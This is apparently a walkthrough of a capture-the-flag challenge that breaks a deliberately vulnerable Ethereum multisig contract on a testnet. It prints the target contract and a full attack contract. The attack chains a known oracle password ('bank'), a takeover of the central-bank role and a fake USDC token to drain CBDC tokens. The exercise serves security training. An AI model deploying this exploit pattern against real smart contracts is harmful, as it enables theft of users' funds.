This is challenge number 5 from the EthereumHacker.com list of challenges. Before you can tackle any of the challenges, you first have to install and configure MetaMask. If you have not already done so, please take a look at the basic configuration instructions at: EthereumHacker Challenge 1 – The Gala NFT

Our fifth challenge – Break the Multisig:

Go to EthereumHacker.com and click on the fifth challenge: “Break the Multisig

Your task:

The majority of the CBDC funds are held in a multisig wallet. Here is the address of the multisig contract: 0x550714e1Fd747084Fc5cB2B2e3a93512972aeBdA

You need to hack the wallet and transfer some CBDC’s to your wallet.

Here is again the address of the CBDC contract: 0x094251c982cb00B1b1E1707D61553E304289D4D8

Solving the challenge:

Let’s take a look at the Multisig contract code:

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface CBDC is IERC20 {
  function addOracle(string calldata _secret) external;
  function isOracle(address _checkAddress) external view returns (bool);
}

contract MultiSig {
    address public cbdc;
    address public centralBank;
    address public usdc = 0x2f3A40A3db8a7e3D09B0adfEfbCe4f6F81927557;
    address[] signaturies;
    mapping(address => bool) public signatures;

    constructor (address _cbdc) {
        cbdc = _cbdc;
        centralBank = msg.sender;
        signaturies.push(msg.sender);
    }

    function upgradeUSDC(address _usdc) public {
        require(msg.sender == centralBank, "Only The Bank Can Change The USDC Token Address");
        usdc = _usdc;
    }

    function signWithdrawal() public {
        signatures[msg.sender] = true;
    }

    function withdrawFunds() public {
        for (uint256 i=0; i<signaturies.length; i++) {
            address signer = signaturies[i];
            require(signatures[signer] == true, "Not Everyone Has Signed Off On This");
        }
        IERC20(cbdc).transfer(msg.sender,100000);
    }

    function buyFundsPublic() public {
        IERC20(usdc).transferFrom(msg.sender,address(this), 1000000000000);
        IERC20(cbdc).transfer(msg.sender,1);
    }

    function updateCentralBank(address _newBank) public {
        bool oracle = CBDC(cbdc).isOracle(_newBank);
        require(oracle == true, "You Are Not An Authorized Oracle");
        centralBank = _newBank;
    }

    function addSignature(address _newSig) public {
        require(msg.sender == centralBank, "Only The Bank Can Add Signatures");
        signaturies.push(_newSig);
    }
}

We need to transfer funds to our own wallet and there are 2 functions in the contract that look promising: “withdrawFunds” and “buyFundsPublic“.

The “withdrawFunds” function loops through all the signaturies (an array of addresses) and requires that everyone on that list provided a valid signature for the fund transfer. This function does not work, which means, one or more of the required signers hold a value of “false” in the signatures mapping.

There is no way to retrieve the list of signaturies and to force all of the corresponding values in the mapping to true.

So, let’s check out the “buyFundsPublic” function. It transfers a large number of USDC tokens from the caller (our hacking contract) to the Multisig contract (address(this)) and then it transfers 1 CBDC token to the address of the caller – that’s exactly what we need!

However, we are not the owner of the specified CBDC token, so, we won’t be able to send any tokens to the Multisig contract. Let’s see what other functions we have on the Multisig contract…

Ah, there is the “upgradeUSDC” function that allows us to change the address of the USDC token. We could just create a worthless ERC20 token, and assign it to the “usdc” state variable of the Multisig contract, then we are allowed to transfer the required amount of that token to the Multisig in the “buyFundsPublic” function.

Everything looks good, but there is a require statement in the “upgradeUSDC” function: only the “centralBank” is allowed to execute that function and to assign a different address to the “usdc” token.

Luckily, we have the “updateCentralBank” function that allows us to do just that. To call this function, we need to add our contract to the list of oracles in the CBDC contract. From Challenge 3 we already know how this works: The password to add an address to the list of oracles is “bank”.

That’s all we need in order to call the “buyFundsPublic” function on the Multisig contract. Once we receive the CBDC token, we will transfer it from our Hacking contract to our external wallet address on Metamask.

To sum it up, here are all the necessary steps to hack the Multisig contract:
  • We need to create an ERC20 contract that holds at least 10000000000000 tokens that will be transferred to the Multisig contract when we call the “buyFundsPublic” function.
  • In the constructor of our contract, we will also assign our external Metamask wallet address to a public state variable. We need this later, when we transfer the CBDC token from our contract to our external wallet.
  • We need to call various functions on the Multisg as well as the CBDC contract. Therefore we need to define 2 interfaces (ICBDC and IMultisig) with the required function declarations. We can copy/paste those function declarations directly from the corresponding contracts. The ICBDC interface also needs to inherit from the IERC20 interface, because later on we will need to call various ERC20 methods on our CBDC contract instance.
Finally, we write our function (transferCBDC) that hacks the multisig contract:
  • As already mentioned in our analysis above, we first add our hacking contract to the list of oracles. Then, we call the “updateCentralBank” function and we add our hacking contract ((address(this)) as the argument for the new central bank.
  • Then, we call the “upgradeUSDC” function and once again, we pass our hacking contract as the argument for the new usdc token.
  • Now, we can call the “buyFundsPublic” function that will transfer 1 CDBC token to our hacking contract. But, don’t forget, this function will trigger the transfer of tokens from our hacking contract (which is an ERC20 token contract) to the Multisig contract. This is only possible if we first approve the Multisig contract as the spender of those tokens using the ERC20 approve method – otherwise, the Multisig contract is not allowed to call the “transferFrom” method in the “buyFundsPublic” function.
  • To transfer the CBDC token to our external wallet we use once again the approve and transferFrom ERC20 methods. Of course, we need to call those methods on the CBDC contract that holds the CBDC tokens. To do that, we simply cast the hardcoded CBDC contract address into the ICBDC interface type we defined earlier. The ICBDC interface inherits from the IERC20 interface that allows use to access all external ERC20 methods like approve and transferFrom.We define our hacker contract (address(this)) as the spender of the CBDC token in the approve method and then we transfer 1 CBDC token from the hacker contract to our external wallet using the transferfrom method.
Here is the code for the hacking contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface ICBDC is IERC20 {
  function addOracle(string calldata _secret) external;
}

interface IMultisig {
  function upgradeUSDC(address _usdc) external;
  function updateCentralBank(address _newBank) external;
  function buyFundsPublic() external;
}

contract TransferCBDCTokens is ERC20 {
    address public CBDCContractAddress = 0x094251c982cb00B1b1E1707D61553E304289D4D8;
    address public multisigContractAddress = 0x550714e1Fd747084Fc5cB2B2e3a93512972aeBdA;
    address public myWalletAddress;

    constructor(address _myWalletAddress) ERC20("Transfer Token", "TT") {
        myWalletAddress = _myWalletAddress;
        _mint(address(this), 10000000000000);
    }

    function transferCBDC() public {
        ICBDC(CBDCContractAddress).addOracle("bank");

        IMultisig(multisigContractAddress).updateCentralBank(address(this));
        IMultisig(multisigContractAddress).upgradeUSDC(address(this));

        _approve(address(this), multisigContractAddress, 1000000000000);
        IMultisig(multisigContractAddress).buyFundsPublic();

        ICBDC(CBDCContractAddress).approve(address(this), 1);        
        ICBDC(CBDCContractAddress).transferFrom(address(this), myWalletAddress, 1);
    }
}

You can copy/paste the contract code into Remix and deploy it to the Goerli test network using the Metamask injected provider – as we already did on our previous challenges. Don’t forget to provide the address of your external Metamask wallet before clicking the “deploy” button!

Also, to take a closer look at the various ERC20 methods, you can check out the OpenZeppelin Github page